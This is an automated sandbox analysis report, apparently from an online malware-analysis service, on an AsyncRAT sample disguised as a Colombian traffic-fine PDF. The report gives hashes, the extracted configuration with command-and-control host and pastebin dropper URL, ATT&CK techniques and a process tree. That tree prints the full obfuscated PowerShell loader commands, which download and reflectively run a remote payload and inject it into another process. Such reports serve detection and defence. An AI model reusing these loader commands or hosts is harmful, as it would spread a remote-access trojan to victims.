asyncrat | f2210b872fa03ec869ad401139fb07405005043d9adeae4ae9bcc0a837b9b249

General

Target

IMAGENES FOTO COMPARENDOS SIMIT INFRACCIONES DETALLES #2024-666663265889-999658959-PDF.vbs
Size

207KB
MD5

6fb4803325e9551ee65380e39a58b250
SHA1

8fd05fec3c193676864b0eec7a4d5ba1a118b4ea
SHA256

f2210b872fa03ec869ad401139fb07405005043d9adeae4ae9bcc0a837b9b249
SHA512

23c4922fc122038050e1cb37fe728910d5d013bec36a3aecf7ff83148ade88e6df31f4e554a104e17e301dfd7690fe7abfebbba12522c95e422d9c7e3089f899
SSDEEP

384:2747Y7474747Y7474747Y7474747Y7474747Y7474747Y7474747Y7474747Y74Y:Clz/X

Score

10^/10

asyncrat 14 defense_evasion discovery execution rat

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://pastebin.com/raw/0FK5ax2D

Extracted

Family

asyncrat

Version

1.0.7

Botnet

14

C2

sanchezsanchez2024.duckdns.org:6666

Mutex

DcRatMutex_qwqdanchunSFDGHSDF

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Blocklisted process makes network request 3 IoCs

flow	pid	Process
6	4312	powershell.exe
19	3184	powershell.exe
21	4312	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2472	powershell.exe
4312	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	WScript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
5	pastebin.com
6	pastebin.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4312 set thread context of 2780	4312	powershell.exe	99

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AddInProcess32.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2428	PING.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2428	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2472	powershell.exe
2472	powershell.exe
4312	powershell.exe
4312	powershell.exe
3184	powershell.exe
3184	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2472	powershell.exe
Token: SeDebugPrivilege	4312	powershell.exe
Token: SeDebugPrivilege	3184	powershell.exe
Token: SeDebugPrivilege	2780	AddInProcess32.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 4180 wrote to memory of 2472	4180	WScript.exe	83
PID 4180 wrote to memory of 2472	4180	WScript.exe	83
PID 2472 wrote to memory of 4312	2472	powershell.exe	85
PID 2472 wrote to memory of 4312	2472	powershell.exe	85
PID 4312 wrote to memory of 1532	4312	powershell.exe	86
PID 4312 wrote to memory of 1532	4312	powershell.exe	86
PID 4312 wrote to memory of 2428	4312	powershell.exe	87
PID 4312 wrote to memory of 2428	4312	powershell.exe	87
PID 4312 wrote to memory of 3184	4312	powershell.exe	95
PID 4312 wrote to memory of 3184	4312	powershell.exe	95
PID 4312 wrote to memory of 2780	4312	powershell.exe	99
PID 4312 wrote to memory of 2780	4312	powershell.exe	99
PID 4312 wrote to memory of 2780	4312	powershell.exe	99
PID 4312 wrote to memory of 2780	4312	powershell.exe	99
PID 4312 wrote to memory of 2780	4312	powershell.exe	99
PID 4312 wrote to memory of 2780	4312	powershell.exe	99
PID 4312 wrote to memory of 2780	4312	powershell.exe	99
PID 4312 wrote to memory of 2780	4312	powershell.exe	99

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IMAGENES FOTO COMPARENDOS SIMIT INFRACCIONES DETALLES #2024-666663265889-999658959-PDF.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4180
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT★Hk★cwB0★GU★bQ★u★E4★ZQB0★C4★UwBl★HI★dgBp★GM★ZQBQ★G8★aQBu★HQ★TQBh★G4★YQBn★GU★cgBd★Do★OgBT★GU★YwB1★HI★aQB0★Hk★U★By★G8★d★Bv★GM★bwBs★C★★PQ★g★Fs★UwB5★HM★d★Bl★G0★LgBO★GU★d★★u★FM★ZQBj★HU★cgBp★HQ★eQBQ★HI★bwB0★G8★YwBv★Gw★V★B5★H★★ZQBd★Do★OgBU★Gw★cw★x★DI★Ow★k★EM★QwBS★Gg★bQ★g★D0★I★★n★Gg★d★B0★H★★cw★6★C8★LwBw★GE★cwB0★GU★YgBp★G4★LgBj★G8★bQ★v★HI★YQB3★C8★M★BG★Es★NQBh★Hg★MgBE★Cc★I★★7★CQ★Zg★g★D0★I★★o★Fs★UwB5★HM★d★Bl★G0★LgBJ★E8★LgBQ★GE★d★Bo★F0★Og★6★Ec★ZQB0★FQ★ZQBt★H★★U★Bh★HQ★a★★o★Ck★I★★r★C★★JwBk★Gw★b★★w★DE★LgB0★Hg★d★★n★Ck★I★★7★Ek★bgB2★G8★awBl★C0★VwBl★GI★UgBl★HE★dQBl★HM★d★★g★C0★VQBS★Ek★I★★k★EM★QwBS★Gg★bQ★g★C0★TwB1★HQ★RgBp★Gw★ZQ★g★CQ★Zg★g★C0★VQBz★GU★QgBh★HM★aQBj★F★★YQBy★HM★aQBu★Gc★I★★7★GM★bQBk★C4★ZQB4★GU★I★★v★GM★I★★7★H★★aQBu★Gc★I★★x★DI★Nw★u★D★★Lg★w★C4★MQ★g★Ds★c★Bv★Hc★ZQBy★HM★a★Bl★Gw★b★★u★GU★e★Bl★C★★LQBj★G8★bQBt★GE★bgBk★C★★ew★k★GY★I★★9★C★★K★Bb★FM★eQBz★HQ★ZQBt★C4★SQBP★C4★U★Bh★HQ★a★Bd★Do★OgBH★GU★d★BU★GU★bQBw★F★★YQB0★Gg★K★★p★C★★Kw★g★Cc★Z★Bs★Gw★M★★x★C4★d★B4★HQ★Jw★p★C★★Ow★k★FE★U★B0★GE★dg★g★D0★I★★o★C★★RwBl★HQ★LQBD★G8★bgB0★GU★bgB0★C★★LQBQ★GE★d★Bo★C★★J★Bm★C★★KQ★g★Ds★SQBu★HY★bwBr★GU★LQBX★GU★YgBS★GU★cQB1★GU★cwB0★C★★LQBV★FI★SQ★g★CQ★UQBQ★HQ★YQB2★C★★LQBP★HU★d★BG★Gk★b★Bl★C★★J★Bm★C★★LQBV★HM★ZQBC★GE★cwBp★GM★U★Bh★HI★cwBp★G4★ZwB9★C★★Ow★k★FE★U★B0★GE★dg★g★D0★I★★o★C★★RwBl★HQ★LQBD★G8★bgB0★GU★bgB0★C★★LQBQ★GE★d★Bo★C★★J★Bm★C★★KQ★g★Ds★J★Bm★Gg★b★Bv★Hc★I★★9★C★★Jw★w★Cc★I★★7★CQ★a★B1★HY★YwBq★C★★PQ★g★Cc★JQBK★Gs★UQBh★HM★R★Bm★Gc★cgBU★Gc★JQ★n★C★★OwBb★EI★eQB0★GU★WwBd★F0★I★★k★Gs★awBr★HU★eQ★g★D0★I★Bb★HM★eQBz★HQ★ZQBt★C4★QwBv★G4★dgBl★HI★d★Bd★Do★OgBG★HI★bwBt★EI★YQBz★GU★Ng★0★FM★d★By★Gk★bgBn★Cg★I★★k★FE★U★B0★GE★dg★u★HI★ZQBw★Gw★YQBj★GU★K★★n★CQ★J★★n★Cw★JwBB★Cc★KQ★g★Ck★I★★7★Fs★UwB5★HM★d★Bl★G0★LgBB★H★★c★BE★G8★bQBh★Gk★bgBd★Do★OgBD★HU★cgBy★GU★bgB0★EQ★bwBt★GE★aQBu★C4★T★Bv★GE★Z★★o★CQ★awBr★Gs★dQB5★Ck★LgBH★GU★d★BU★Hk★c★Bl★Cg★JwBU★GU★a★B1★Gw★YwBo★GU★cwBY★Hg★W★B4★Hg★LgBD★Gw★YQBz★HM★MQ★n★Ck★LgBH★GU★d★BN★GU★d★Bo★G8★Z★★o★Cc★TQBz★HE★QgBJ★GI★WQ★n★Ck★LgBJ★G4★dgBv★Gs★ZQ★o★CQ★bgB1★Gw★b★★s★C★★WwBv★GI★agBl★GM★d★Bb★F0★XQ★g★Cg★Jw★w★DM★OQ★1★D★★N★★4★Dc★YQ★w★DQ★Zg★t★GU★YgBk★GE★LQBh★D★★ZQ★0★C0★Yw★0★DM★OQ★t★Dc★ZQBm★DY★Nw★x★GM★ZQ★9★G4★ZQBr★G8★d★★m★GE★aQBk★GU★bQ★9★HQ★b★Bh★D8★d★B4★HQ★LgBE★EM★R★BD★EQ★QwBE★EM★R★BD★EQ★Rg★y★CU★UwBB★FQ★T★BV★E0★M★★y★CU★UwBF★FQ★UgBP★F★★UwBO★EE★UgBU★FM★TgBJ★E0★M★★y★CU★V★BJ★E0★SQBT★C8★bw★v★G0★bwBj★C4★d★Bv★H★★cwBw★H★★YQ★u★GE★O★★x★DM★MQ★t★GE★YQBz★G8★bwBv★HI★cgBy★HI★LwBi★C8★M★B2★C8★bQBv★GM★LgBz★Gk★c★Bh★GU★b★Bn★G8★bwBn★C4★ZQBn★GE★cgBv★HQ★cwBl★HM★YQBi★GU★cgBp★GY★Lw★v★Do★cwBw★HQ★d★Bo★Cc★I★★s★C★★J★Bo★HU★dgBj★Go★I★★s★C★★JwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★LQ★t★C0★LQ★t★C0★LQ★n★Cw★I★★k★GY★a★Bs★G8★dw★s★C★★Jw★x★Cc★L★★g★Cc★UgBv★GQ★YQ★n★C★★KQ★p★Ds★';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('★','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\Admin\AppData\Local\Temp\IMAGENES FOTO COMPARENDOS SIMIT INFRACCIONES DETALLES #2024-666663265889-999658959-PDF.vbs');powershell $Yolopolhggobek;
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2472
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$CCRhm = 'https://pastebin.com/raw/0FK5ax2D' ;$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;Invoke-WebRequest -URI $CCRhm -OutFile $f -UseBasicParsing ;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;$QPtav = ( Get-Content -Path $f ) ;Invoke-WebRequest -URI $QPtav -OutFile $f -UseBasicParsing} ;$QPtav = ( Get-Content -Path $f ) ;$fhlow = '0' ;$huvcj = 'C:\Users\Admin\AppData\Local\Temp\IMAGENES FOTO COMPARENDOS SIMIT INFRACCIONES DETALLES #2024-666663265889-999658959-PDF.vbs' ;[Byte[]] $kkkuy = [system.Convert]::FromBase64String( $QPtav.replace('$$','A') ) ;[System.AppDomain]::CurrentDomain.Load($kkkuy).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('03950487a04f-ebda-a0e4-c439-7ef671ce=nekot&aidem=tla?txt.DCDCDCDCDCDF2%SATLUM02%SETROPSNARTSNIM02%TIMIS/o/moc.topsppa.a8131-aasooorrrr/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth' , $huvcj , '____________________________________________-------', $fhlow, '1', 'Roda' ));"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4312
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c
      4⤵
      PID:1532
  - - C:\Windows\system32\PING.EXE
      "C:\Windows\system32\PING.EXE" 127.0.0.1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:2428
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand JABmACAAPQAgACgAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAgACsAIAAnAGQAbABsADAAMQAuAHQAeAB0ACcAKQAgADsAJABRAFAAdABhAHYAIAA9ACAAKAAgAEcAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQAZgAgACkAIAA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQBSAEkAIAAkAFEAUAB0AGEAdgAgAC0ATwB1AHQARgBpAGwAZQAgACQAZgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcA -inputFormat xml -outputFormat text
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3184
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2780

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

1

T1027

Command Obfuscation

1

T1027.010

Credential Access

Discovery

Query Registry

1

T1012

Remote System Discovery

1

T1018

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
223bd4ae02766ddc32e6145fd1a29301

SHA1
900cfd6526d7e33fb4039a1cc2790ea049bc2c5b

SHA256
1022ec2fed08ff473817fc53893e192a8e33e6a16f3d2c8cb6fd37f49c938e1e

SHA512
648cd3f8a89a18128d2b1bf960835e087a74cdbc783dbfcc712b3cb9e3a2e4f715e534ba2ef81d89af8f60d4882f6859373248c875ceb26ad0922e891f2e74cc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
337c07f569ad6ca7a65aa2555fd10732

SHA1
956325966fecfb059d8894a42d4eba1b2f41344b

SHA256
3a68a14b62309667f478e59337cf4573aa3a3a78c1f218ce62ac75d06673cfdc

SHA512
a32b6fb9b366c460eefc77bf28feba6ad305fd78099bd0e303a06634027d83dd95dadd85120a02414d5c45ec3ecc695d04429a1229a0ed7f9f166fa803a68283

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
235a8eb126d835efb2e253459ab8b089

SHA1
293fbf68e6726a5a230c3a42624c01899e35a89f

SHA256
5ffd4a816ae5d1c1a8bdc51d2872b7dd99e9c383c88001d303a6f64a77773686

SHA512
a83d17203b581491e47d65131e1efc8060ff04d1852e3415fc0a341c6a9691ef9f4cf4dd29d2f6d0032a49f2ba4bd36c35b3f472f0ce5f78f4bb139124760e92

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dddfqkfz.323.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\dll01.txt

Filesize
143B

MD5
ca3e9f3bbaab1d91f5669c577de22fa4

SHA1
70b81036cf4f04b1d576bb1919b9ed85451914c6

SHA256
3c4664ee97f3c7f228328e22d2cf88a7d492cfad95a5154eaeae889e45cd2137

SHA512
b22a10692fa31d9f678247c9bc52fcfe7c04b1335530567a930da3098fd667d36b513a3f88aed8c20d379672d8ca03038dd372d2e0f8fca9988f4f81cf7e857e

Download Submit
C:\Users\Admin\AppData\Local\Temp\dll01.txt

Filesize
103KB

MD5
70d9e1bb47536e58c110170bdaa06407

SHA1
615485617d9be2219e858e6896e728b4c32f4c77

SHA256
c9a42ec3ef13dea4be9c17dd82e43640b732d44971c1babdb887e4cb58ae1f2e

SHA512
5bca9a669d3b54666e445c44fb695206d86bacf3895583f5b4e630f438507539d4f6a161efbf224cb41c0bedce5e37718ff7e5d95203d3f7422c828c493b903f

Download Submit
memory/2472-11-0x00007FFD9EAD0000-0x00007FFD9F591000-memory.dmp

Filesize
10.8MB

Download
memory/2472-38-0x00007FFD9EAD0000-0x00007FFD9F591000-memory.dmp

Filesize
10.8MB

Download
memory/2472-12-0x00007FFD9EAD0000-0x00007FFD9F591000-memory.dmp

Filesize
10.8MB

Download
memory/2472-0-0x00007FFD9EAD3000-0x00007FFD9EAD5000-memory.dmp

Filesize
8KB

Download
memory/2472-1-0x0000026654D60000-0x0000026654D82000-memory.dmp

Filesize
136KB

Download
memory/2472-46-0x00007FFD9EAD0000-0x00007FFD9F591000-memory.dmp

Filesize
10.8MB

Download
memory/2780-40-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/4312-37-0x000002A078C30000-0x000002A078C46000-memory.dmp

Filesize
88KB

Download
memory/4312-39-0x000002A078C90000-0x000002A078CA6000-memory.dmp

Filesize
88KB

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads